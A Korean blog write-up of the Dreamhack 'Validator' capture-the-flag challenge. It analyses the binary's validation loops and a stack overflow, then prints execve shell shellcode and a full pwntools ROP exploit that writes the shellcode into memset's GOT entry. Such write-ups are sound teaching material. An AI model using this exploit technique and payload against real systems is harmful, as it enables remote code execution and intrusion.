[Dreamhack] Validator

Merry Berry·2023년 7월 26일
0

Pwnable&Reversing

목록 보기
2/6

인증 프로그램의 취약점을 이용해 exploit하는 문제다. 이때 서버 시스템은 v5.4.0 이전의 커널로, "NX가 비활성화되어 있으면 읽기 가능한 데이터 영역은 실행 가능하다."는 것이 힌트로 주어졌다. 이 힌트를 이용하여 exploit할 것이다.


checksec

문제 파일로 두 개의 바이너리 validator_dist, validator_server가 주어진다. 커널에서 기본으로 제공하는 ASLR을 제외한 Canary, NX, PIE가 모두 비활성화되어 있고, Partial RELRO가 적용되어 있으므로 GOT overwrite가 가능하다.

프로그램을 실행해보니 둘 다 입력만 받고 끝난다. 이 입력으로 validation을 진행하는 것으로 보인다.


Binary Analysis: validator_dist

validator_dist를 먼저 디버깅해보겠다. 이 바이너리의 main에서 read()를 호출하는데, 버퍼의 위치는 rbp-0x80이고 readable size는 0x400으로 stdin으로부터 읽는다. 이때 버퍼의 위치 rbp-0x80에서부터 0x400만큼 readable하므로 Stack Buffer Overflow취약점이 존재한다.

이후 validate 함수를 호출하고 프로그램이 종료된다. 아마 이 프로시저 내에는 인증 로직이 구현돼 있을 것이다. validate를 호출할 때 다음 값들을 인자로 넘긴다.

  • 입력 값이 저장된 버퍼의 주소 rbp-0x80rdi로 전달
  • 아직 의미를 모르겠는 값 0x80esi로 전달.

validate로 step into하면, 먼저 아래 사항을 설정 및 초기화하고 validate+83으로 jump한다.

  • 입력 버퍼의 주소를 전달받은 rdirbp-0x18에 저장
  • 0x80을 전달받은 rsirbp-0x20에 저장
  • rbp-0x04, rbp-0x08에서 시작하는 4byte 스택 공간을 0으로 초기화

Validation Logic 1

validate+83~validate+89rbp-0x04에 저장된 값이 9보다 작거나 같으면 validate+32로 jump한다.

초기 값이 0인 rbp-0x04의 값이 계속 증가하여, 이것이 9보다 작거나 같을 때까지 validate+32에 있는 로직을 실행하는 것으로 보인다. 만약 디버깅 중 rbp-0x04의 값을 증가시키는 명령이 발견되면 이 추측이 맞을 가능성이 높다.

validate+32에서는 {입력 값으로 받은 문자열[rbp-0x04]} 문자와 {0x601040에 있는 문자열[rbp-0x04]} 문자가 동일한지 비교한다. 이때 0x601040에 저장된 문자는 "DREAMHACK!"이다. 즉 입력된 문자열이 이 문자열과 동일한지 확인하는 로직이 되겠다.

  • 입력 문자열에서 rbp-0x04에 저장된 값을 인덱스로 하는 문자를 ecx에 저장
  • [0x601040+(rbp-0x04에 저장된 값)]에 위치한 문자를 eax에 저장
  • ecx == eax 확인 후 참이면 validate+79로 jump, 거짓이면 종료

앞선 조건을 만족하면 validate+79로 jump하는데, 이 명령에서는 rbp-0x04에 저장된 값을 1 증가시킨다. 그리고 아까 전과 같이 9보다 작거나 같은지를 확인하므로, rbp-0x04의 값이 9보다 작거나 같을 때까지 validate+32에 있는 비교 로직을 실행한다. 즉, 입력 문자열에서 10번째 문자까지 "DREAMHACK!"과 일치해야 한다.

Validation Logic 2

입력된 문자열의 처음 10개의 문자가 "DREAMHACK!"이면 validate+98을 실행한다. 해당 코드는 validate+168으로 jump하는데, 이 로직은 다음을 실행한다.

  • 문자열의 인덱스 역할을 한 rbp-0x04의 값을 0xb로 설정
  • 인자로 받아서 0x80이 저장된 rbp-0x20에 있는 값이 rbp-0x04보다 클 경우 validate+100으로 jump

    이 부분도 마찬가지로, rbp-0x04에 저장된 인덱스 값이 0xb ~ 0x7f일 동안 validate+100에 있는 로직을 실행할 것으로 보인다.

validate+100으로 jump하면 다음과 같이 동작한다.

  • 입력 문자열에서 rbp-0x04에 저장된 값을 인덱스로 하는 문자를 eax에 저장
  • al의 값을 eaxzero extension하며 저장
  • 입력 문자열에서 (rbp-0x04에 저장된 값 + 1)을 인덱스로 하는 문자를 edx에 저장
  • dl의 값을 edxsign extension하며 저장
  • eax == edx 확인 후, 거짓일 경우 validate+158로 jump한 후 종료

    idx=dword[rbp-0x04], [0xb, 0x80] 구간의 문자열을 str이라 하자. 위 로직을 통과하기 위해서는 입력 값은 아래 조건을 만족해야 한다.

    ( str[idx+1] < 0b'1000_0000 ) && ( str[idx] == str[idx+1] )

위 로직이 통과될 경우 validate+152가 실행된다. 이 명령은 rbp-0x04에 저장된 값을 1 증가시키고 validate+168로 jump한다. 위에서 보았듯이, validate+168에서는 rbp-0x04에 저장된 값이 rbp-0x20에 저장된 값(0x20)보다 작으면 validate+100을 실행한다.

결국 validate+100에 있는 인증 로직은 rbp-0x04에 저장된 값이 0x80보다 작을 동안 실행된다. 이로써 처음에 의도를 몰랐던 인자로 전달된 값 0x80은 rbp-0x04가 증가하는 범위의 한계임을 확인할 수 있다.

모든 인증이 통과되면 main으로 복귀 후 종료한다.


Binary Analysis: valid_server

valid_servervalid_dist와 거의 동일하나, 인증 로직에서 일부 차이점이 존재하여 이 부분만 기술하겠다.

valid_dist의 두 번째 인증 과정에서는, 입력 문자열에서 rbp-0x04에 저장된 값을 인덱스로 하는 문자를 zero extend하여 레지스터에 가져온다. 그러나 valid_server에서는 0x4005f4에서 볼 수 있듯이 오른쪽 문자(idx+1) 뿐만 아니라 왼쪽 문자(idx)도 sign extend하여 가져오므로, 0x0b부터 시작하는 문자들 모두 0x80보다 작거나, 모두 0x80 이상이어야 한다. 따라서 valid_server에서는 입력 문자열이 아래 조건을 만족해야 한다.

idx=dword[rbp-0x04], [0xb, 0x80] 구간의 문자열을 str이라 하자. 위 로직을 통과하기 위해서는 입력 값은 아래 조건을 만족해야 한다.

( ( str 내의 모든 바이트 < 0b'1000_0000 ) || ( str 내의 모든 바이트 >= 0b'1000_0000 ) ) && ( str[idx] == str[idx+1] )


Exploitation: validator_server

Dreamhack 서버에서는 validator_server를 실행하는 것으로 보인다.

디버깅하며 확인했듯이 readable한 최대 크기는 0x400으로 stack buffer overflow가 가능하다. 그러나 return address를 one_gadget으로 덮으려면 라이브러리의 매핑 주소를 구해야 하므로 복잡하다. 따라서 Return Oriented Programming으로 exploit를 진행한다.

  • 특정 함수의 GOT에 shellcode 주입
  • 그 함수의 plt로 return

    GOT에 shellcode를 주입해서 exploit가 가능한 이유는, 문제의 힌트로 주어져 있듯이 v5.4.0 이전 커널에서는 NX가 비활성화돼 있으면 읽기 권한이 있는 데이터 영역이 실행 가능하기 때문이다.

Bypass Validation

인증 통과를 위해, 아래 사항을 준수하여 payload를 구성한다.

  • 첫 10개의 문자는 "DREAMHACK!"이다.
  • 0x0a번째 문자는 인증 대상 문자가 아니므로 아무 문자나 넣는다.
  • 0x0b번째부터 0x80번째까지 1씩 감소되는 값을 넣는다. 이때 이 구간에 들어가는 모든 바이트가 0x80보다 작거나, 0x80 이상이어야 한다. 따라서 0x0b번째 바이트는 0x7f 또는 0xff로 시작하는 것이 좋다.

  • return address를 gadget으로 overwrite하기 위해서 0x87번째까지 dummy로 덮는다
  • 0x88번째부터 ROP payload를 구성한다.

GOT Overwrite (with shellcode)

shellcode로 덮어 쓸 GOT이 3개가 있다. 이 중 memset의 GOT를 이용하겠다.

ROPgadget으로 찾은 gadget들 중 사용할 gadget은 위와 같다.

ROP로 read를 호출하여 memset의 GOT에 shellcode를 저장한다. 그리고 memset의 GOT으로 return하여 shellcode를 실행한다.

Shellcode

section .text
global _start
_start:
mov rax, 0x68732f6e69622f2f
push rax
xor rax, rax
mov al, 0x3b
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

위 shellcode를 nasm으로 assemble한다.

Exploitation Code

from pwn import *

p = remote('host1.dreamhack.games', 11959)
e = ELF('./validator_server')

payload = b'DREAMHACK!' #first validation [0x00]~[0x09]
payload += b'A' #dummy [0x0a]

#second validation [0x0b]~[0x80]
val = 0x7f
for i in range(0x0b, 0x81):
	payload += val.to_bytes(1, byteorder='little')
	val -= 1
payload += b'B'*0x07 #make length to be 0x88

shellcode = b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05'
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
pop_rdx = 0x40057b

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['memset']) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(e.plt['read'])
payload += p64(e.got['memset'])

p.send(payload)
sleep(0.5)
p.send(shellcode)
sleep(0.5)
p.interactive()

exploit이 성공적으로 수행되었다.

1개의 댓글

comment-user-thumbnail
2023년 7월 26일

많은 도움이 되었습니다, 감사합니다.

답글 달기